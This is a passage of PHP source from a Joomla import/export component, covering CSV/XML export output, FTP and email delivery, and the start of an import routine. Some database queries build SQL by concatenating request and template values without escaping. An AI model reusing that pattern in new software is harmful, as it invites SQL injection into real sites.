$export_fields['_sort_field'][$kef]; $field->replace = $export_fields['_replace_field'][$kef]; $field->field_id = ($kef+1); $fields[($kef+1)] = $field; } } else return array(); // Return the required and default values return $fields; } /** * Print out export details * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.0 */ private function _exportDetails() { $jinput = JFactory::getApplication()->input; // Get the logger $csvilog = $jinput->get('csvilog', null, null); // Get the template settings to see if we need a preview $template = $jinput->get('template', null, null); $csvilog->addDebug(JText::_('COM_CSVI_CSVI_VERSION_TEXT').JText::_('COM_CSVI_CSVI_VERSION')); if (function_exists('phpversion')) $csvilog->addDebug(JText::sprintf('COM_CSVI_PHP_VERSION', phpversion())); // General settings $csvilog->addDebug(JText::_('COM_CSVI_GENERAL_SETTINGS')); // Show which template is used */ $csvilog->addDebug(JText::sprintf('COM_CSVI_TEMPLATE_NAME', $jinput->get('template_name'))); // Destination settings $exportto = $template->get('exportto', 'general'); $csvilog->addDebug(JText::sprintf('COM_CSVI_DEBUG_CHOSEN_DESTINATION', $exportto)); switch ($exportto) { case 'tofile': $csvilog->addDebug(JText::sprintf('COM_CSVI_DEBUG_EXPORT_PATH', $template->get('localpath', 'general'))); break; case 'toftp': $csvilog->addDebug(JText::sprintf('COM_CSVI_DEBUG_EXPORT_FTP_HOST', $template->get('ftphost', 'general'))); $csvilog->addDebug(JText::sprintf('COM_CSVI_DEBUG_EXPORT_FTP_PORT', $template->get('ftpport', 'general'))); $csvilog->addDebug(JText::sprintf('COM_CSVI_DEBUG_EXPORT_FTP_USERNAME', $template->get('ftpusername', 'general'))); $csvilog->addDebug(JText::sprintf('COM_CSVI_DEBUG_EXPORT_FTP_ROOT', $template->get('ftproot', 'general'))); break; } // Export filename $csvilog->addDebug(JText::sprintf('COM_CSVI_DEBUG_EXPORT_GENERATED_FILENAME', $jinput->get('export.filename'))); // Export type $csvilog->addDebug(JText::sprintf('COM_CSVI_DEBUG_CHOSEN_EXPORT_TYPE', $template->get('export_type'))); // User given filename $csvilog->addDebug(JText::sprintf('COM_CSVI_DEBUG_EXPORT_FILENAME', $template->get('export_filename'))); // Export type $export_file = $template->get('export_file', 'general'); $csvilog->addDebug(JText::sprintf('COM_CSVI_DEBUG_EXPORT_FILE', $export_file)); if ($export_file == 'xml') { $csvilog->addDebug(JText::sprintf('COM_CSVI_DEBUG_EXPORT_SITE', $template->get('export_site', 'general'))); } // Check delimiter char $csvilog->addDebug(JText::sprintf('COM_CSVI_USING_DELIMITER', $template->get('field_delimiter', 'general'))); // Check enclosure char $csvilog->addDebug(JText::sprintf('COM_CSVI_USING_ENCLOSURE', $template->get('text_enclosure', 'general'))); // Include column headers $use_header = ($template->get('include_column_headers', 'general')) ? JText::_('COM_CSVI_YES') : JText::_('COM_CSVI_NO'); $csvilog->addDebug(JText::sprintf('COM_CSVI_DEBUG_INCLUDE_HEADER', $use_header)); // Add signature $signature = ($template->get('signature', 'general')) ? JText::_('COM_CSVI_YES') : JText::_('COM_CSVI_NO'); $csvilog->addDebug(JText::sprintf('COM_CSVI_DEBUG_SIGNATURE', $signature)); // Export frontend $export_frontend = ($template->get('export_frontend', 'general')) ? JText::_('COM_CSVI_YES') : JText::_('COM_CSVI_NO'); $csvilog->addDebug(JText::sprintf('COM_CSVI_DEBUG_EXPORT_FRONTEND', $export_frontend)); // Export state switch ($template->get('publish_state', 'general')) { case 'Y': $publish_state = JText::_('COM_CSVI_YES'); break; case 'N': $publish_state = JText::_('COM_CSVI_NO'); break; default: $publish_state = JText::_('COM_CSVI_ALL_STATES'); break; } $csvilog->addDebug(JText::sprintf('COM_CSVI_DEBUG_PUBLISH_STATE', $publish_state)); // Number of records to export $csvilog->addDebug(JText::sprintf('COM_CSVI_DEBUG_RECORD_START', $template->get('recordstart', 'general'))); $csvilog->addDebug(JText::sprintf('COM_CSVI_DEBUG_RECORD_END', $template->get('recordend', 'general'))); // Record grouping $groupby = ($template->get('groupby', 'general')) ? JText::_('COM_CSVI_YES') : JText::_('COM_CSVI_NO'); $csvilog->addDebug(JText::sprintf('COM_CSVI_DEBUG_GROUPBY', $groupby)); // VirtueMart Item ID $csvilog->addDebug(JText::sprintf('COM_CSVI_DEBUG_VM_ITEMID', $template->get('vm_itemid', 'general'))); // Date format $csvilog->addDebug(JText::sprintf('COM_CSVI_DEBUG_EXPORT_DATE_FORMAT', $template->get('export_date_format', 'general'))); // Price format $csvilog->addDebug(JText::sprintf('COM_CSVI_DEBUG_EXPORT_DECIMALS', $template->get('export_price_format_decimal', 'general'))); $csvilog->addDebug(JText::sprintf('COM_CSVI_DEBUG_EXPORT_DEC_SEP', $template->get('export_price_format_decsep', 'general'))); $csvilog->addDebug(JText::sprintf('COM_CSVI_DEBUG_EXPORT_THOUSAND_SEP', $template->get('export_price_format_thousep', 'general'))); // Record grouping $add_currency = ($template->get('add_currency_to_price', 'general')) ? JText::_('COM_CSVI_YES') : JText::_('COM_CSVI_NO'); $csvilog->addDebug(JText::sprintf('COM_CSVI_DEBUG_ADD_CURRENCY_TO_PRICE', $add_currency)); // Exporting fields $export_fields = $jinput->get('export.fields', null, null); $addheader = true; foreach ($export_fields as $column_id => $field) { if ($addheader) $csvilog->addDebug(JText::sprintf('COM_CSVI_DEBUG_EXPORT_FIELD', $field->column_header)); if ($field->combine) $addheader = false; else $addheader = true; } } /** * Output the collected data * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return void * @since 3.0 */ private function _outputStart() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); $exportfilename = $jinput->get('export.filename', null, 'string'); $result = false; if ($template->get('use_system_limits', 'limit')) { $csvilog->addDebug('Setting system limits:'); // Apply the new memory limits $csvilog->addDebug('Setting max_execution_time to '.$template->get('max_execution_time', 'limit').' seconds'); @ini_set('max_execution_time', $template->get('max_execution_time', 'limit')); $csvilog->addDebug('Setting memory_limit to '.$template->get('memory_limit', 'limit').'M'); if ($template->get('memory_limit', 'limit') == '-1') { $csvilog->addDebug('Setting memory_limit to '.$template->get('memory_limit', 'limit')); @ini_set('memory_limit', $template->get('memory_limit', 'limit')); } else { $csvilog->addDebug('Setting memory_limit to '.$template->get('memory_limit', 'limit').'M'); @ini_set('memory_limit', $template->get('memory_limit', 'limit').'M'); } } switch ($template->get('exportto', 'general', 'todownload')) { case 'todownload': if (preg_match('/Opera(\/| )([0-9].[0-9]{1,2})/', $_SERVER['HTTP_USER_AGENT'])) { $UserBrowser = "Opera"; } elseif (preg_match('/MSIE ([0-9].[0-9]{1,2})/', $_SERVER['HTTP_USER_AGENT'])) { $UserBrowser = "IE"; } else { $UserBrowser = ''; } $mime_type = ($UserBrowser == 'IE' || $UserBrowser == 'Opera') ? 'application/octetstream' : 'application/octet-stream'; // Clean the buffer while( @ob_end_clean() ); header('Content-Type: ' . $mime_type); header('Content-Encoding: UTF-8'); header('Expires: ' . gmdate('D, d M Y H:i:s') . ' GMT'); if ($UserBrowser == 'IE') { header('Content-Disposition: inline; filename="'.$exportfilename.'"'); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Pragma: public'); } else { header('Content-Disposition: attachment; filename="'.$exportfilename.'"'); header('Pragma: no-cache'); } $result = true; break; case 'tofile': jimport('joomla.filesystem.folder'); // Check if the folder exists if (!JFolder::exists(dirname($exportfilename))) { if (!JFolder::create(dirname($exportfilename))) { $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_CANNOT_CREATE_FOLDER', dirname($exportfilename))); $result = false; } } // open the file for writing $handle = @fopen($exportfilename, 'w+'); if (!$handle) { $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_CANNOT_OPEN_FILE', $exportfilename)); $result = false; } // Let's make sure the file exists and is writable first. if (is_writable($exportfilename)) { $jinput->set('handle', $handle); $result = true; } else { $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_CANNOT_WRITE_FILE', $exportfilename)); $result = false; } break; case 'toftp': case 'toemail': // open the file for writing $handle = fopen($exportfilename, 'w+'); if (!$handle) { $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_CANNOT_OPEN_FILE', $exportfilename)); $result = false; } // Let's make sure the file exists and is writable first. if (is_writable($exportfilename)) { $jinput->set('handle', $handle); $result = true; } else { $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_CANNOT_WRITE_FILE', $exportfilename)); $result = false; } break; case 'tofront': $result = true; break; } return $result; } /** * Write the output to download or to file * * @copyright * @author RolandD * @todo * @see * @access protected * @param string $contents the content to output * @return bool true if data is output | false if data is not output * @since 3.0 */ protected function writeOutput() { // Let's take the local contents if nothing is supplied $contents = $this->_contents; // Clean the local contents $this->_contents = array(); if (!empty($contents)) { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); $exportfilename = $jinput->get('export.filename', null, 'string'); if (!is_array($contents)) $contents = (array) $contents; switch ($template->get('exportto', 'general')) { case 'todownload': case 'tofront': if (isset($contents['signature'])) { echo $contents['signature']; unset($contents['signature']); } if ($template->get('export_file', 'general') == 'xml' || $template->get('export_file', 'general') == 'html') { echo implode("", $contents)."\r\n"; } else { echo implode($this->_field_delim, $contents)."\r\n"; } break; case 'tofile': case 'toftp': case 'toemail': if ($template->get('export_file', 'general') == 'xml' || $template->get('export_file', 'general') == 'html') { $writedata = ''; if (isset($contents['signature'])) { $writedata = $contents['signature']; unset($contents['signature']); } $writedata .= implode('', $contents); if (fwrite($jinput->get('handle', null, null), $writedata."\r\n") === FALSE) { $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_CANNOT_WRITE_FILE', $exportfilename)); return false; } } else { if (fwrite($jinput->get('handle', null, null), implode($this->_field_delim, $contents)."\r\n") === FALSE) { $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_CANNOT_WRITE_FILE', $exportfilename)); return false; } } break; } } return true; } /** * Finalize export output * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return void * @since 3.0 */ private function _outputEnd() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); $exportfilename = $jinput->get('export.filename', null, 'string'); jimport('joomla.filesystem.file'); switch ($template->get('exportto', 'general')) { case 'todownload': break; case 'tofile': $csvilog->AddStats('information', JText::sprintf('COM_CSVI_EXPORTFILE_CREATED', $exportfilename)); fclose($jinput->get('handle', null, null)); break; case 'toftp': // Close the file handle fclose($jinput->get('handle', null, null)); // Start the FTP jimport('joomla.client.ftp'); $ftp = JFTP::getInstance($template->get('ftphost', 'general', '', 'string'), $template->get('ftpport', 'general'), null, $template->get('ftpusername', 'general', '', 'string'), $template->get('ftppass', 'general', '', 'string')); $ftp->chdir($template->get('ftproot', 'general', '/', 'string')); $ftp->store($exportfilename); $ftp->quit(); // Remove the temporary file JFile::delete($exportfilename); $csvilog->AddStats('information', JText::sprintf('COM_CSVI_EXPORTFILE_CREATED', $exportfilename)); break; case 'toemail': fclose($jinput->get('handle', null, null)); $this->_getMailer(); // Add the email address $addresses = explode(',', $template->get('export_email_addresses', 'email')); foreach ($addresses as $address) { if (!empty($address)) $this->mailer->AddAddress($address); } $addresses_cc = explode(',', $template->get('export_email_addresses_cc', 'email')); if (!empty($addresses_cc)) { foreach ($addresses_cc as $address) { if (!empty($address)) $this->mailer->AddCC($address); } } $addresses_bcc = explode(',', $template->get('export_email_addresses_bcc', 'email')); if (!empty($addresses_bcc)) { foreach ($addresses_bcc as $address) { if (!empty($address)) $this->mailer->AddBCC($address); } } // Mail submitter $htmlmsg = ''.$this->_getRelToAbs($template->get('export_email_body', 'email')).''; $this->mailer->setBody($htmlmsg); $this->mailer->setSubject($template->get('export_email_subject', 'email')); // Add the attachemnt $this->mailer->AddAttachment($exportfilename); // Send the mail $sendmail = $this->mailer->Send(); if (is_a($sendmail, 'JException')) $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_NO_MAIL_SEND', $sendmail->getMessage())); else $csvilog->AddStats('information', JText::_('COM_CSVI_MAIL_SEND')); // Clear the mail details $this->mailer->ClearAddresses(); // Remove the temporary file JFile::delete($exportfilename); $csvilog->AddStats('information', JText::sprintf('COM_CSVI_EXPORTFILE_CREATED', $exportfilename)); break; } } /** * Search through the export fields if a certain field is being exported * * @copyright * @author RolandD * @todo * @see * @access protected * @param string $fieldname the fieldname to check if it is being exported * @return bool true if field is being exported | false if field is not being exported * @since 3.0 */ protected function searchExportFields($fieldname) { $jinput = JFactory::getApplication()->input; $exportfields = $jinput->get('export.fields', array(), 'array'); foreach ($exportfields as $column_id => $field) { if ($field->field_name == $fieldname) return true; } return false; } /** * Constructs a limit for a query * * @copyright * @author RolandD * @todo * @see * @access protected * @param * @return string the limit to apply to the query * @since 3.0 */ protected function getExportLimit() { $jinput = JFactory::getApplication()->input; $template = $jinput->get('template', null, null); $recordstart = $template->get('recordstart', 'general', 0, 'int'); $recordend = $template->get('recordend', 'general', 0, 'int'); $limits = array(); $limits['offset'] = 0; $limits['limit'] = 0; // Check if the user only wants to export some products if ($recordstart && $recordend) { // Check if both values are greater than 0 if (($recordstart > 0) && ($recordend > 0)) { // We have valid limiters, add the limit to the query // Recordend needs to have 1 deducted because MySQL starts from 0 $limits['offset'] = $recordend-1; $limits['limit'] = $recordstart; } } return $limits; } /** * Create an SQL filter * * @copyright * @author RolandD * @todo * @see * @access protected * @param string $filter what kind of SQL type should be created * @param array $ignore an array of fields not to process * @param array $special an array of special fields not to nameQuote * @return string the SQL part to add to the query * @since 3.0 */ protected function getFilterBy($filter, $ignore=array(), $special=array()) { $jinput = JFactory::getApplication()->input; $db = JFactory::getDBO(); $export_fields = $jinput->get('export.fields', array(), 'array'); $fields = array(); // Add some basic fields never to be handled $ignore[] = 'custom'; // Collect the fields to process foreach ($export_fields as $column_id => $field) { switch ($filter) { case 'groupby': $process = true; break; case 'sort': $process = $field->sort; break; default: $process = false; } if ($process) { // Check if field needs to be skipped if (!in_array($field->field_name, $ignore)) { // Check if field is special if (!array_key_exists($field->field_name, $special)) { $fields[] = $db->quoteName($field->field_name); } else { $fields[] = $special[$field->field_name]; } } } } // Construct the SQL part if (!empty($fields)) { switch ($filter) { case 'groupby': $groupby_fields = array_unique($fields); $q = implode(',', $groupby_fields); break; case 'sort': $sort_fields = array_unique($fields); $q = implode(', ', $sort_fields); break; default: $q = ''; break; } } else $q = ''; return $q; } /** * Add a field to the output * * @copyright * @author RolandD * @todo * @see * @access protected * @param $combine boolean true if the fields need to be combined * @param $data string Data to output * @param $fieldname string Name of the field currently being processed * @param $column_header string Name of the column * @param $cdata boolean true to add cdata tag for XML|false not to add it * @return string containing the field for the export file * @since 3.0 */ protected function addExportField($combine=false, $data, $fieldname, $column_header, $cdata=false) { // Data is not going to be combined if (!$combine) { if (!empty($this->_outputfield)) { $this->_outputfield[] = $data; $data = implode(' ', $this->_outputfield); $this->_outputfield = array(); } $jinput = JFactory::getApplication()->input; $template = $jinput->get('template', null, null); // Load the session $exportclass = $jinput->get('export.class', null, null); // Set the delimiters $this->_setDelimiters(); // Clean up the data by removing linebreaks $find = array("\r\n", "\r", "\n"); $replace = array('','',''); $data = str_ireplace($find, $replace, $data); if ($template->get('export_file', 'general') == 'xml' || $template->get('export_file', 'general') == 'html') { if (!is_null($this->_headername)) { $column_header = $this->_headername; $this->_headername = null; } $this->_contents[] = $exportclass->ContentText($data, $column_header, $fieldname, $cdata); } else { $data = str_replace($this->_text_delim, $this->_text_delim.$this->_text_delim, $data); $this->_contents[] = $this->_text_delim.$data.$this->_text_delim; } } // Combine with previous field else { if (is_null($this->_headername)) $this->_headername = $column_header; $this->_outputfield[] = $data; } } /** * Add data to the export content * * @copyright * @author RolandD * @todo * @see * @access protected * @param string $content the content to export * @return * @since 3.0 */ protected function addExportContent($content) { $this->_contents[] = $content; } /** * Convert links in a text from relative to absolute * * @copyright * @author * @todo * @see * @access private * @param string $text the text to parse for links * @return string the parsed text * @since 3.0 */ private function _getRelToAbs($text) { $base = JURI::root(); $text = preg_replace("/(href|src)=\"(?!http|ftp|https|mailto)([^\"]*)\"/", '$1="$base\$2"', $text); return $text; } /** * Initialise the mailer object to start sending mails * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.0 */ private function _getMailer() { $mainframe = Jfactory::getApplication(); jimport('joomla.mail.helper'); // Start the mailer object $this->mailer = JFactory::getMailer(); $this->mailer->isHTML(true); $this->mailer->From = $mainframe->getCfg('mailfrom'); $this->mailer->FromName = $mainframe->getCfg('sitename'); $this->mailer->AddReplyTo(array($mainframe->getCfg('mailfrom'), $mainframe->getCfg('sitename'))); } /** * Create a proxy for including other models * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.0 */ private function _getModel($model) { return $this->getInstance($model, 'CsviModel'); } /** * Get the JoomFish translated value for a category name * * @copyright * @author RolandD * @todo * @see * @access private * @param int $category_id the category ID to find the translation for * @param string $default the default value to return if nothing found or JoomFish not used * @return string the JoomFish translated value * @since 3.0 */ protected function _getJoomFishCategory($category_id, $default='') { $jinput = JFactory::getApplication()->input; $db = JFactory::getDBO(); $template = $jinput->get('template', null, null); $csvilog = $jinput->get('csvilog', null, null); if ($template->get('use_joomfish', 'product', false)) { $q = "SELECT value FROM #__jf_content WHERE reference_table = 'vm_category' AND reference_field = 'category_name' AND language_id = ".$template->get('joomfish_language', 'product')." AND reference_id = ".$category_id; $db->setQuery($q); $csvilog->addDebug(JText::_('COM_CSVI_GET_CATEGORY_JF'), true); $category_name_jf = $db->loadResult(); if (empty($category_name_jf)) return $default; else return $category_name_jf; } else return $default; } } ?>PKs>\Avb||com_csvi/models/importfile.phpnuW+A field default value */ private $_field_defaults = array(); /** @var array - Associative array of field_name (lower case) => field published? value */ private $_field_published = array(); /** @var integer the database ID for the vendor */ private $_vendor_id = null; /** @var bool sets if the default value should be used or not */ private $_skip_default_value = null; /** @var array contains a list of vendor currencies */ private $_vendor_currencies = array(); /** @var object contains the ICEcat helper */ private $_icecat = null; // Protected variables /** @var object contains the data to import */ protected $csvi_data = null; /** @var object contains the fields to import */ protected $_csvifields = null; /** @var array contains the available fields */ protected $_avfields = null; /** @var array contains the ICEcat data */ protected $icecat_data = null; /** @var array contains the fields to combine */ protected $combine_fields = array(); /** @var array contains the combine settings */ protected $combine_settings = array(); /** @var string contains the name of the last import field */ protected $_lastfield = null; /** * Compile a list of helper files needed to include * * @copyright * @author RolandD * @todo Make the image class loader smarter * @see * @access public * @param * @return array list of helper files to include * @since 3.0 */ public function getHelperFiles() { $jinput = JFactory::getApplication()->input; $data = $jinput->get('jform', array(), null); $helpers = array(); $upload_parts = array(); // Get the file extension of the import file switch (strtolower($data['general']['source'])) { case 'fromupload': $upload['name'] = $_FILES['jform']['name']['general']['import_file']; $upload['type'] = $_FILES['jform']['type']['general']['import_file']; $upload['tmp_name'] = $_FILES['jform']['tmp_name']['general']['import_file']; $upload['error'] = $_FILES['jform']['error']['general']['import_file']; if (isset($upload['name'])) $upload_parts = pathinfo($upload['name']); break; case 'fromserver': $upload_parts = pathinfo($data['general']['local_csv_file']); break; case 'fromurl': $upload_parts = pathinfo($data['general']['urlfile']); break; case 'fromftp': $upload_parts = pathinfo($data['general']['ftpfile']); break; } // Set the file helper if (!array_key_exists('extension', $upload_parts)) return false; else { switch ($upload_parts['extension']) { case 'xml': $helpers[] = $upload_parts['extension']; $fileclass = 'Xml'; break; case 'xls': $helpers[] = $upload_parts['extension']; $helpers[] = 'excel_reader2'; $fileclass = 'Xls'; break; case 'ods': $helpers[] = $upload_parts['extension']; $helpers[] = 'ods_reader'; $fileclass = 'Ods'; break; default: // Treat any unknown type as CSV $helpers[] = 'csv'; $fileclass = 'Csv'; break; } // Set the file class name $jinput->set('fileclass', $fileclass.'File'); // Do we need to load the image helper switch ($data['options']['operation']) { case 'productimport': case 'categoryimport': case 'mediaimport': $helpers[] = 'images'; break; } // Add the helpers to the session $session = JFactory::getSession(); $option = $jinput->get('option'); $session->set($option.'.helper_files', serialize($helpers)); return $helpers; } } /** * Make preparations for the import * * @copyright * @author RolandD * @todo Fix storing of log when file cannot be retrieved from FTP * @todo Fix the template name * @see * @access public * @param * @return bool true on file OK | false on file NOK * @since 3.0 */ public function getPrepareImport() { $jinput = JFactory::getApplication()->input; $db = JFactory::getDbo(); // Get the form data $session = JFactory::getSession(); $option = $jinput->get('option'); $data = $jinput->get('jform', array(), null); // Set the template name $query = $db->getQuery(true); $query->select('name'); $query->from('#__csvi_template_settings'); $query->where('id = '.$jinput->get('select_template', '', null)); $db->setQuery($query); $data['template_name'] = $db->loadResult(); $template = new CsviTemplate($data); $jinput->set('template', $template); $session->set($option.'.global.template', serialize($template)); // Initiate the log $csvilog = new CsviLog(); $jinput->set('csvilog', $csvilog); // Create a new Import ID in the logger $csvilog->setId(); // Set to collect debug info $csvilog->setDebug($template->get('collect_debug_info', 'general')); // Retrieve the available fields $availablefields = $this->getModel('Availablefields'); $this->_avfields = $availablefields->getAvailableFields($template->get('operation', 'options'), $template->get('component', 'options')); $session->set($option.'.avfields', serialize($this->_avfields)); // Needed for file class $jinput->set('avfields', $this->_avfields); // Set some log info $csvilog->SetAction('import'); $csvilog->SetActionType($template->get('operation', 'options'), $template->get('template_name')); // Process the file to import if ($template->get('im_mac', 'general', false)) { // Auto detect line-endings to also support Mac line-endings ini_set('auto_detect_line_endings', true); } // Process the file to import $fileclass = $jinput->get('fileclass', null, null); $csvifile = new $fileclass; if ($csvifile->validateFile()) { $csvifile->processFile(); if (!$csvifile->fp) { return false; } else { // Load column headers if ($template->get('use_column_headers', 'general')) { $csvifile->loadColumnHeaders(); $session->set($option.'.csvicolumnheaders', serialize($jinput->get('columnheaders', array(), 'array'))); } else if ($template->get('skip_first_line', 'general')) { // Move 1 row forward as we are skipping the first line $csvifile->next(); } // Load the fields if ($this->_retrieveConfigFields($csvifile)) $session->set($option.'.csvifields', serialize($jinput->get('csvifields', null, 'array'))); else { JError::raiseNotice(0, JText::_('COM_CSVI_CANNOT_LOAD_FIELDS')); return false; } // Write out some import settings $this->_importDetails(); // Store the file position $session->set($option.'.filepos', serialize($csvifile->getFilePos())); // Empty the data first so we don't break the session $csvifile->clearData(); // Store the CSVI file handler $session->set($option.'.csvifile', serialize($csvifile)); // Store the CSVI log handler $session->set($option.'.csvilog', serialize($csvilog)); // Store the preview handler $session->set($option.'.csvipreview', serialize($template->get('show_preview', 'general'))); // Set the combine separator $this->combine_settings['separator'] = ' '; $this->combine_settings['fieldname'] = null; // Unpublish any products if needed if ($template->get('unpublish_before_import', 'product', 0)) $this->_unpublishProducts(); return true; } } else { return false; } } /** * Make preparations to do an import * * @copyright * @author RolandD * @todo Fix the setting of the file position on subsequent imports * @see finishProcess * @access public * @param * @return * @since 3.0 */ public function getDoImport() { $jinput = JFactory::getApplication()->input; // Set the system limits $this->_systemLimits(); // Open the file $csvifile = $jinput->get('csvifile', null, null); if ($csvifile->processFile()) { // Set the file pointer $session = JFactory::getSession(); $option = $jinput->get('option'); $csvifile->setFilePos(unserialize($session->get($option.'.filepos', 0))); // Set the line counter $jinput->set('currentline', 1); // Set the fields found in the file $this->_csvifields = $jinput->get('csvifields', null, 'array'); return true; } else return false; } /** * Start the import * * @copyright * @author RolandD * @todo Separate view for preview * @todo Rewrite memory usage for debug * @see * @access public * @param * @return * @since 3.0 */ public function getProcessData() { $jinput = JFactory::getApplication()->input; // Set some variables $data_preview = array(); $processdata = true; $redirect = false; // Load the log $csvilog = $jinput->get('csvilog', null, null); // Load the settings $settings = new CsviSettings(); // Load the template $template = $jinput->get('template', null, null); // Load the file $csvifile = $jinput->get('csvifile', null, null); // Set the table path $this->addTablePath(JPATH_COMPONENT_ADMINISTRATOR.'/tables/'.$template->get('component', 'options')); // Load the import routine $routine = $this->getModel($template->get('operation', 'options')); if ($routine) { // Start processing data while ($processdata) { // Pass the total log line to the logger $csvilog->setLinenumber(($jinput->get('currentline', 0, 'int')+$jinput->get('totalline', 0, 'int'))); // If the number of lines is set to 0, do unlimited import if (($settings->get('import.import_nolines', 0) == 0) || $jinput->get('cron', false, 'bool')) { $nolines = $jinput->get('currentline', 0, 'int')+1; } else $nolines = $settings->get('import.import_nolines'); if ($jinput->get('currentline', 0, 'int') <= $nolines) { // For XML files, it may be necessary to refresh the headers before reading the next record if ($csvifile->extension == 'xml' && $template->get('refresh_xml_headers', 'general')) { $csvifile->loadColumnHeaders(); if ($this->_retrieveConfigFields($csvifile) == false) { // Error found - Finish processing $redirect = $this->finishProcess(false); $processdata = false; continue; } } // Load the data $this->csvi_data = $csvifile->ReadNextLine(); if ($this->csvi_data == false) { if ($jinput->get('csvipreview', false, 'bool')) { // Set the headers $headers = array(); foreach ($this->_csvifields as $fieldname => $value) { if ($value['published']) { if (isset($routine->$fieldname) || empty($routine->$fieldname)) $headers[] = $fieldname; } } $jinput->set('headers_preview', $headers); // Set the data $jinput->set('data_preview', $data_preview); // Clean the session $this->getCleanPreview(); $processdata = false; continue; } else { // Finish processing $this->finishProcess(true); $processdata = false; } } else { // Check if we need to add any extra fields if (count($this->_csvifields) > count($this->csvi_data)) { foreach ($this->_csvifields as $fieldname => $details) { if (!array_key_exists($details['order'], $this->csvi_data)) { if (!empty($details['default_value'])) { $this->csvi_data[$details['order']] = $details['default_value']; } } } // Check if the fields are now equal if (count($this->_csvifields) > count($this->csvi_data)) { $message = JText::sprintf('COM_CSVI_INCORRECT_COLUMN_COUNT', count($this->_csvifields), count($this->csvi_data)); $message .= '
      '.JText::_('COM_CSVI_FIELDS').'
      '; $message .= ''; $message .= ''; foreach($this->_csvifields as $fieldname => $field_details) { $message .= ''; } $message .= '
      PositionConfigurationImport file
      '.$field_details['order'].''.$fieldname.''; if (isset($this->csvi_data[$field_details['order']])) $message .= $this->csvi_data[$field_details['order']]; $message .= '
      '; $csvilog->AddStats('incorrect', $message, true); // Finish processing $this->finishProcess(true); $processdata = false; } } // Load ICEcat data if user wants to $this->getIcecat(); // Validate the fields $csvi_data = new JObject(); foreach ($this->_csvifields as $name => $details) { if ($details['published']) { $datafield = $this->validateInput($details['name'], $details['replace']); if ($datafield !== false) { // Check if we are dealing with the last field if ($details == $this->_lastfield) $details['combine'] = false; // See if we are combining the field if ($details['combine']) $this->setCombineField($datafield, $name); else { // Check if there are any fields to be combined if (!empty($this->combine_fields)) { // Get the fieldname the combine is for $name = $this->combine_settings['fieldname']; // Add the current data $this->setCombineField($datafield); // Get the combined data $datafield = $this->getCombineField(); } } // Set the new value $csvi_data->$name = $datafield; } } } $jinput->set('csvi_data', $csvi_data); if ($this->_checkLimits()) { // Notify the debug log what line we are one $csvilog->addDebug(JText::sprintf('COM_CSVI_DEBUG_PROCESS_LINE', ($jinput->get('currentline', 0, 'int')+$jinput->get('totalline', 0, 'int')))); // Start processing record if ($routine->getStart()) { if ($jinput->get('csvipreview', false, 'bool')) { $this->loadSettings(); // Update preview data foreach ($this->_csvifields as $fieldname => $value) { if ($value['published']) { if (isset($routine->$fieldname)) $preview_data[$value['order']] = $routine->$fieldname; else if (empty($routine->$fieldname)) $preview_data[$value['order']] = ''; } } $data_preview[$jinput->get('currentline', 0, 'int')] = $preview_data; if ($jinput->get('currentline', 0, 'int') == $settings->get('import.import_preview', 5)) { // Set the headers $headers = array(); foreach ($this->_csvifields as $fieldname => $value) { if ($value['published']) { if (isset($routine->$fieldname) || empty($routine->$fieldname)) $headers[] = $fieldname; } } $jinput->set('headers_preview', $headers); // Set the data $jinput->set('data_preview', $data_preview); // Clean the session $this->getCleanPreview(); $processdata = false; continue; } } else { // Now we import the rest of the records $routine->getProcessRecord(); } // Increase the number of records processed $jinput->set('recordsprocessed', $jinput->get('recordsprocessed', 0, 'int')+1); } else { // The routine reports a problem, usually unmet conditions // Finish processing $this->finishProcess(true); // Stop from processing any further, no time left $processdata = false; } // Increase linenumber $jinput->set('currentline', $jinput->get('currentline', 0, 'int')+1); } else { // Finish processing $this->finishProcess(false); // Stop from processing any further, no time left $processdata = false; } } } // Prepare for page reload else { // Finish processing $this->finishProcess(false); // Stop from processing any further, no time left $processdata = false; } } // Post Processing if (method_exists($routine, 'getPostProcessing')) { $routine->getPostProcessing(array_keys($this->_csvifields)); } } else { $csvilog->AddStats('incorrect', 'COM_CSVI_NO_VALID_CLASS_FOUND'); // Finish processing $this->finishProcess(true); } } /** * Clean the session * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return void * @since 3.0 */ public function getCleanSession() { $jinput = JFactory::getApplication()->input; // Store the log results first $log = $this->getModel('log'); $log->getStoreLogResults(); // Get session handler $session = JFactory::getSession(); $option = $jinput->get('option'); // Unset all session values $session->clear($option.'.csvicolumnheaders'); $session->clear($option.'.csvifields'); $session->clear($option.'.avfields'); $session->clear($option.'.csvifile'); $session->clear($option.'.filepos'); $session->clear($option.'.recordsprocessed'); $session->clear($option.'.template_id'); $session->clear($option.'.totalline'); $session->clear($option.'.csvilog'); $session->clear($option.'.global.template'); $session->clear($option.'.csvisettings'); $session->clear($option.'.helper_files'); } /** * Clean the session after preview * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return void * @since 3.0 */ private function getCleanPreview() { $jinput = JFactory::getApplication()->input; // Get session handler $session = JFactory::getSession(); $option = $jinput->get('option'); // Load the correct position if ($jinput->get('csvipreview', false, 'bool')) { $template = $jinput->get('template', null, null); $csvifile = $jinput->get('csvifile', null, null); // Move back to the beginning $csvifile->rewind(); // Move 1 row forward as this is the column header if ($template->get('use_column_headers', 'general') || $template->get('skip_first_line', 'general')) { $csvifile->next(true); } // Get the current position $filepos = $csvifile->getFilePos(); } else $filepos = 0; // Unset all session values $session->set($option.'.filepos', serialize($filepos)); $session->set($option.'.recordsprocessed', 